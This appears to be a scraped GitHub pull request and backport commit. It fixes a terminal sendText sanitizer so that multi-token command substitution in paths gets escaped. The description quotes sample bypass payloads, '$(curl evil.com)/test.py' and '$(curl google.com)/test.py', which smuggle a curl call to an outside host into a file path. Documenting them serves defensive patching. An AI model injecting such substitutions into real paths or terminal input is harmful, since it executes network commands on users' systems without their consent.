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fix(security): Handle multi-token command substitution in sendText sanitizer - #207
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The previous fix only escaped $() within single whitespace-delimited
tokens. Payloads like $(curl google.com)/test.py span two tokens so
the $( was never escaped.
Fix by matching $(...), ${...}, and backticks as complete constructs
(including internal spaces) when immediately followed by /. Also removes
fragile single-quote context detection that was bypassable via
apostrophes in preceding text.aws-ajangg
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Apr 20, 2026
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azmkercso pushed a commit
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Apr 23, 2026
…Text ## Issue P401260599 ## Description of Changes Backport the multi-token command substitution fix from 1.0/1.1 (PR #206/#207). The previous sanitizer only escaped $() within single whitespace-delimited tokens. Payloads like $(curl evil.com)/test.py that span whitespace boundaries were not caught. ## Testing - Verified patch applies cleanly via quilt (prepare-src.sh) ## Screenshots/Videos ## Additional Notes Replaces the existing sanitize-terminal-sendtext-paths.diff with the updated version already merged on 1.0 (#207) and 1.1 (#206). ## Backporting Already merged on 1.0 and 1.1. This brings main in sync.
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The previous fix only escaped
$()within single whitespace-delimited tokens. Payloads like$(curl google.com)/test.pyspan two tokens so the$(was never escaped.Fix by matching
$(...), ${...}, and backticksas complete constructs (including internal spaces) when immediately followed by /. Also removes fragile single-quote context detection that was by passable via apostrophes in preceding text.By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.